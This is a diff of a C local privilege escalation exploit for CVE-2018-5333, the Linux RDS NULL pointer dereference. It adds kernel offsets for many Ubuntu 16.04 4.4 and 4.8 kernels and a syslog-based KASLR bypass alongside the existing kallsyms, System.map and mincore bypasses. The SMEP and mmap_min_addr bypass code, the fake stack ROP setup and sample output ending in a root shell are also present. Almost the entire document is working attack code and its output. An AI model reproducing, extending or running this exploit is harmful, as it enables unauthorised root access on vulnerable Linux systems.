1- // Local root exploit for rds_atomic_free_op NULL pointer dereference
1+ // Local root exploit for Linux RDS rds_atomic_free_op NULL pointer dereference
22// in the rds kernel module in the Linux kernel through 4.14.13 (CVE-2018-5333).
33//
44// Includes KASLR, SMEP, and mmap_min_addr bypasses. No SMAP bypass.
5- // Targets: Ubuntu 4.4.0 kernels <= 4.4.0-116-generic #140-Ubuntu SMP.
5+ //
6+ // Targets:
7+ // - Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic #140-Ubuntu
8+ // - Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic #57~16.04.1-Ubuntu
69//
710// The rds kernel module is not loaded by default on Ubuntu.
811// - install: sudo apt install "linux-image-extra-$(uname -r)-generic"
3033// - check if system supports RDS sockets
3134// - Jann Horn's mincore KASLR bypass via heap page disclosure (CVE-2017-16994)
3235// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
33- // - spender's /proc/kallsyms and /boot/System.map KASLR bypasses
36+ // - spender's /proc/kallsyms KASLR bypass (requires kernel.kptr_restrict=0)
37+ // - https://grsecurity.net/~spender/exploits/exploit.txt
38+ // - spender's /boot/System.map KASLR bypass (requires readable System.map file)
3439// - https://grsecurity.net/~spender/exploits/exploit.txt
40+ // - syslog KASLR bypass (requires kernel.dmesg_restrict=0)
41+ // - https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
3542//
36- // Shoutouts to nstarke for adding additional kernel offsets.
37- // - https://github.com/bcoles/kernel-exploits/pulls?q=is%3Apr+ author%3Anstarke
43+ // Shoutout to nstarke for adding additional kernel offsets.
44+ // - https://github.com/bcoles/kernel-exploits/pulls?q=author:nstarke+cve-2018-5333
3845//
3946// This exploit also uses various code patterns copied from:
4047// - xairy's exploits:
4451// ---
4552// $ gcc cve-2018-5333.c -o cve-2018-5333
4653// $ ./cve-2018-5333
54+ // Linux RDS rds_atomic_free_op NULL pointer dereference local root
4755// [.] starting
4856// [.] checking kernel version...
4957// [.] kernel version '4.4.0-116-generic #140-Ubuntu' detected
5462// [~] done, mapped null address
5563// [.] KASLR bypass enabled, getting kernel addr
5664// [.] trying /proc/kallsyms...
57- // [.] trying /boot/System.map-4.4.0-116-generic...
58- // [-] open/read(/boot/System.map-4.4.0-116-generic)
65+ // [-] kernel base not found in /proc/kallsyms
66+ // [.] trying /boot/System.map-4.4.0-116-lowlatency...
67+ // [-] open/read(/boot/System.map-4.4.0-116-lowlatency)
68+ // [.] trying syslog...
69+ // [-] kernel base not found in syslog
5970// [.] trying mincore info leak...
60- // [.] done, kernel text: ffffffff81000000
61- // [.] commit_creds: ffffffff810a4cf0
62- // [.] prepare_kernel_cred: ffffffff810a50e0
71+ // [.] done, kernel text: ffffffff9f000000
72+ // [.] commit_creds: ffffffff9f0a4cf0
73+ // [.] prepare_kernel_cred: ffffffff9f0a50e0
74+ // [.] mmapping fake stack...
75+ // [~] done, fake stack mmapped
76+ // [.] executing payload 402119...
6377// [+] got root
6478// # id
6579// uid=0(root) gid=0(root) groups=0(root)
7791#include <string.h>
7892#include <stdint.h>
7993
94+ #include <sys/klog.h>
8095#include <sys/mman.h>
8196#include <sys/types.h>
8297#include <sys/socket.h>
101116#define ENABLE_SYSTEM_CHECKS 1
102117#define ENABLE_KASLR_BYPASS 1
103118
119+ // Can be overwritten by argv[1]
104120char * SHELL = "/bin/sh" ;
105121
106122// Will be overwritten if ENABLE_KASLR_BYPASS
@@ -129,13 +145,39 @@ struct kernel_info kernels[] = {
129145 { "4.4.0-42-generic #62-Ubuntu" , 0xa25c0 , 0xa29b0 , 0x5d0c5 , 0x178ac7 , 0x400d78 , 0x64634 , 0x7d1a5 },
130146 { "4.4.0-112-generic #135-Ubuntu" , 0xa3a90 , 0xa3e80 , 0x5d0c5 , 0x17b657 , 0x40b238 , 0x646a4 , 0x54137c },
131147 { "4.4.0-116-generic #140-Ubuntu" , 0xa4cf0 , 0xa50e0 , 0x5e0c5 , 0x17d5d7 , 0x40ed08 , 0x65734 , 0x3a5b04 },
148+
149+ { "4.4.0-116-lowlatency #140-Ubuntu" , 0xa6e00 , 0xa7210 , 0x600c5 , 0x1818f7 , 0x418a38 , 0x66de4 , 0x809ef },
150+
151+ { "4.8.0-34-generic #36~16.04.1-Ubuntu" , 0xa5d50 , 0xa6140 , 0x5d0c5 , 0x1876d7 , 0x43d208 , 0x642f4 , 0x7ed2b },
152+ { "4.8.0-36-generic #36~16.04.1-Ubuntu" , 0xa5d50 , 0xa6140 , 0x5d0c5 , 0x1876d7 , 0x43d208 , 0x642f4 , 0x7ed2b },
153+ { "4.8.0-39-generic #42~16.04.1-Ubuntu" , 0xa5cf0 , 0xa60e0 , 0x5d0c5 , 0x187767 , 0x43da98 , 0x642f4 , 0x7ed2b },
154+ { "4.8.0-41-generic #44~16.04.1-Ubuntu" , 0xa5cf0 , 0xa60e0 , 0x5d0c5 , 0x187767 , 0x43da98 , 0x642f4 , 0x7ed2b },
155+ { "4.8.0-42-generic #45~16.04.1-Ubuntu" , 0xa5cf0 , 0xa60e0 , 0x5d0c5 , 0x187767 , 0x43dea8 , 0x642f4 , 0x5c4f3 },
156+ { "4.8.0-44-generic #47~16.04.1-Ubuntu" , 0xa5cf0 , 0xa60e0 , 0x5d0c5 , 0x187767 , 0x43dac8 , 0x642f4 , 0x7ed2b },
157+ { "4.8.0-45-generic #48~16.04.1-Ubuntu" , 0xa5cf0 , 0xa60e0 , 0x5d0c5 , 0x187767 , 0x43dac8 , 0x642f4 , 0x7ed2b },
158+ { "4.8.0-46-generic #49~16.04.1-Ubuntu" , 0xa5cf0 , 0xa60e0 , 0x5d0c5 , 0x187767 , 0x43dac8 , 0x642f4 , 0x7ed2b },
159+ { "4.8.0-49-generic #52~16.04.1-Ubuntu" , 0xa5d00 , 0xa60f0 , 0x5d0c5 , 0x187777 , 0x43dce8 , 0x642f4 , 0x7ed3b },
160+ { "4.8.0-51-generic #54~16.04.1-Ubuntu" , 0xa5d00 , 0xa60f0 , 0x5d0c5 , 0x187777 , 0x43dce8 , 0x642f4 , 0x7ed3b },
161+ { "4.8.0-52-generic #55~16.04.1-Ubuntu" , 0xa5d00 , 0xa60f0 , 0x5d0c5 , 0x187777 , 0x43e208 , 0x642f4 , 0x7ed3b },
162+ { "4.8.0-53-generic #56~16.04.1-Ubuntu" , 0xa5d00 , 0xa60f0 , 0x5d0c5 , 0x187777 , 0x43e208 , 0x642f4 , 0x7ed3b },
163+ { "4.8.0-54-generic #57~16.04.1-Ubuntu" , 0xa5d00 , 0xa60f0 , 0x5d0c5 , 0x187777 , 0x43e208 , 0x642f4 , 0x7ed3b },
164+ //{ "4.8.0-56-generic #61~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e278, 0x642f4, 0x7ed3b },
165+ //{ "4.8.0-58-generic #63~16.04.1-Ubuntu", 0xa5d20, 0xa6110, 0x5d0c5, 0x187797, 0x43dfa8, 0x642f4, 0x7ed5b },
166+
167+ //{ "4.10.0-14-generic #16~16.04.1-Ubuntu", 0xab610, 0xaba00, 0x600c5, 0x194ac7, 0x458288, 0x67764, 0x34c4b },
168+ //{ "4.13.0-16-generic #19~16.04.3-Ubuntu", 0xa8220, 0xa85f0, 0x5f0c5, 0x19c8a7, 0x462d18, 0x668b4, 0x2f2d4 },
169+ //{ "4.13.0-37-generic #42~16.04.1-Ubuntu", 0xab1d0, 0xab5a0, 0x610c5, 0x1a0827, 0x46bf58, 0x68944, 0x3381b },
132170};
133171
134172// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
135173// https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
136174
137175#define RAND_SIZE 4096
138176
177+ #ifndef SOL_RDS
178+ # define SOL_RDS 276
179+ #endif
180+
139181void trigger_bug ()
140182{
141183 struct sockaddr_in sin ;
@@ -303,10 +345,11 @@ struct utsname get_kernel_version() {
303345}
304346
305347#define ARRAY_SIZE (x ) (sizeof(x) / sizeof((x)[0]))
348+ #define KERNEL_VERSION_SIZE_BUFFER 512
306349
307350void detect_versions () {
308351 struct utsname u ;
309- char kernel_version [512 ];
352+ char kernel_version [KERNEL_VERSION_SIZE_BUFFER ];
310353
311354 u = get_kernel_version ();
312355
@@ -321,7 +364,7 @@ void detect_versions() {
321364 }
322365
323366 char * u_ver = strtok (u .version , " " );
324- snprintf (kernel_version , 512 , "%s %s" , u .release , u_ver );
367+ snprintf (kernel_version , KERNEL_VERSION_SIZE_BUFFER , "%s %s" , u .release , u_ver );
325368
326369 int i ;
327370 for (i = 0 ; i < ARRAY_SIZE (kernels ); i ++ ) {
@@ -332,7 +375,7 @@ void detect_versions() {
332375 }
333376 }
334377
335- dprintf ("[-] kernel version not recognized\n" );
378+ dprintf ("[-] kernel version '%s' not recognized\n" , kernel_version );
336379 exit (EXIT_FAILURE );
337380}
338381
@@ -363,6 +406,8 @@ unsigned long get_kernel_addr_kallsyms() {
363406 }
364407 if (!strcmp (name , sname )) {
365408 fclose (f );
409+ if (addr == 0 )
410+ dprintf ("[-] kernel base not found in %s\n" , path );
366411 return addr ;
367412 }
368413 }
@@ -412,6 +457,75 @@ unsigned long get_kernel_addr_sysmap() {
412457 return 0 ;
413458}
414459
460+ // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
461+ // https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
462+
463+ #define SYSLOG_ACTION_READ_ALL 3
464+ #define SYSLOG_ACTION_SIZE_BUFFER 10
465+
466+ int mmap_syslog (char * * buffer , int * size ) {
467+ * size = klogctl (SYSLOG_ACTION_SIZE_BUFFER , 0 , 0 );
468+ if (* size == -1 ) {
469+ dprintf ("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n" );
470+ return 1 ;
471+ }
472+
473+ * size = (* size / getpagesize () + 1 ) * getpagesize ();
474+ * buffer = (char * )mmap (NULL , * size , PROT_READ | PROT_WRITE , MAP_PRIVATE | MAP_ANONYMOUS , -1 , 0 );
475+
476+ * size = klogctl (SYSLOG_ACTION_READ_ALL , & ((* buffer )[0 ]), * size );
477+ if (* size == -1 ) {
478+ dprintf ("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n" );
479+ return 1 ;
480+ }
481+
482+ return 0 ;
483+ }
484+
485+ unsigned long get_kernel_addr_syslog_xenial (char * buffer , int size ) {
486+ const char * needle1 = "Freeing unused" ;
487+ char * substr = (char * )memmem (& buffer [0 ], size , needle1 , strlen (needle1 ));
488+ if (substr == NULL )
489+ return 0 ;
490+
491+ int start = 0 ;
492+ int end = 0 ;
493+ for (start = 0 ; substr [start ] != '-' ; start ++ );
494+ for (end = start ; substr [end ] != '\n' ; end ++ );
495+
496+ const char * needle2 = "ffffff" ;
497+ substr = (char * )memmem (& substr [start ], end - start , needle2 , strlen (needle2 ));
498+ if (substr == NULL ) {
499+ return 0 ;
500+ }
501+
502+ char * endptr = & substr [16 ];
503+ unsigned long r = strtoul (& substr [0 ], & endptr , 16 );
504+
505+ r &= 0xfffffffffff00000ul ;
506+ r -= 0x1000000ul ;
507+
508+ return r ;
509+ }
510+
511+ unsigned long get_kernel_addr_syslog () {
512+ unsigned long addr = 0 ;
513+ char * syslog ;
514+ int size ;
515+
516+ dprintf ("[.] trying syslog...\n" );
517+
518+ if (mmap_syslog (& syslog , & size ))
519+ return 0 ;
520+
521+ addr = get_kernel_addr_syslog_xenial (syslog , size );
522+
523+ if (!addr )
524+ dprintf ("[-] kernel base not found in syslog\n" );
525+
526+ return addr ;
527+ }
528+
415529// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
416530// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
417531
@@ -467,6 +581,9 @@ unsigned long get_kernel_addr() {
467581 addr = get_kernel_addr_sysmap ();
468582 if (addr ) return addr ;
469583
584+ addr = get_kernel_addr_syslog ();
585+ if (addr ) return addr ;
586+
470587 addr = get_kernel_addr_mincore ();
471588 if (addr ) return addr ;
472589
@@ -503,6 +620,7 @@ void fork_shell() {
503620
504621int main (int argc , char * argv []) {
505622 if (argc > 1 ) SHELL = argv [1 ];
623+ dprintf ("Linux RDS rds_atomic_free_op NULL pointer dereference local root\n" );
506624
507625 dprintf ("[.] starting\n" );
508626
@@ -537,6 +655,8 @@ int main(int argc, char *argv[]) {
537655 dprintf ("[.] commit_creds: %lx\n" , commit_creds );
538656 dprintf ("[.] prepare_kernel_cred: %lx\n" , prepare_kernel_cred );
539657
658+ dprintf ("[.] mmapping fake stack...\n" );
659+
540660 uint64_t page_size = getpagesize ();
541661 uint64_t stack_aligned = (xchg_esp & 0x00000000fffffffful ) & ~(page_size - 1 );
542662 uint64_t stack_offset = xchg_esp % page_size ;
@@ -587,6 +707,9 @@ int main(int argc, char *argv[]) {
587707 fake_stack [i ++ ] = (unsigned long )(temp_stack + 0x500000 );
588708 fake_stack [i ++ ] = user_ss ;
589709
710+ dprintf ("[~] done, fake stack mmapped\n" );
711+
712+ dprintf ("[.] executing payload %lx...\n" , (unsigned long )shell );
590713 trigger_bug ();
591714
592715 return 0 ;
0 commit comments